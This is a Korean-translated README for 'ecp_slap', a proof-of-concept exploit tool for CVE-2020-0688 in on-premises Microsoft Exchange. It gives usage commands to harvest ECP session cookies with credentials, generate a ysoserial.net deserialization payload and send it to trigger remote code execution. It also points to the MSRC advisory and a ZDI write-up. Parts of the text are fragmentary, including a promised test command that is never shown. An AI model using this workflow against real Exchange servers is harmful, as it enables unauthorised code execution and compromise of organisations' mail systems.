
CVE-2020-0688 PoC
CVE-2020-0688에 대한 이 개념 증명(PoC)에는 취약한 온프레미스 Exchange 인스턴스를 스캔하고 악용하기 위한 기능이 포함되어 있습니다.
scan - 악용에 필요한 쿠키를 얻기 위해 자격 증명과 대상 정보를 제공하고 이를 'cookies.txt'에 저장합니다. 또한 대상 Exchange 서버의 ECP(Exchange Control Panel) 서비스 노출 여부를 확인하고, 이 서비스에 대한 인증을 시도하며, 적절한 VIEWSTATEGENERATOR 값이 일치하는지 확인합니다. 인증에 성공하면 직렬화된 페이로드 생성을 위한 세션 쿠키 값 출력이 표시됩니다.
generate - 'scan' 기능에서 얻은 세션 쿠키 값과 코드 실행을 위한 명령을 제공합니다. 그러면 ysoserial.net용 입력이 코드 실행을 위한 직렬화된 페이로드를 생성하도록 형식이 지정됩니다. ysoserial 출력을 'payload.txt'와 같은 파일에 저장합니다.
exploit - 'scan' 기능을 사용하여 인증에 성공한 동안 얻은 쿠키 파일의 입력을 가져와 페이로드 파일의 내용을 URL 인코딩합니다. 이 악용 도구는 취약한 온프레미스 Exchange 인스턴스에 대해 코드 실행을 트리거하는 적절한 인증 요청을 수행합니다.
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
악용하려는 온프레미스 Exchange 버전을 확인했다면:
그런데도 코드 실행 성공 여부를 확인할 수 없다면, 코드 실행이 작동하는지 평가하기 위해 다음과 같은 간단한 명령을 실행하는 것을 고려하세요.
MSRC 보안 공지부터 시작하세요. 여기에는 온프레미스 Exchange의 패치 및 취약한 버전에 대한 구체적인 정보가 포함되어 있습니다. 패치를 Microsoft의 Exchange 빌드 번호와 교차 참조하면 취약성 여부를 판단하는 데 도움이 됩니다. 이 취약점의 악용을 수동으로 재현하려면 훌륭한 ZDI 분석 글을 따르세요.
컴파일된 릴리스를 가져오는 대신 이 프로젝트를 소스에서 컴파일하기로 선택한 경우, Go 환경을 설정하는 것은 종종 GoLang을 설치하고 적절한 환경 변수를 설정하는 것만큼 쉽습니다. 그 단계는 여기에 문서화되어 있습니다.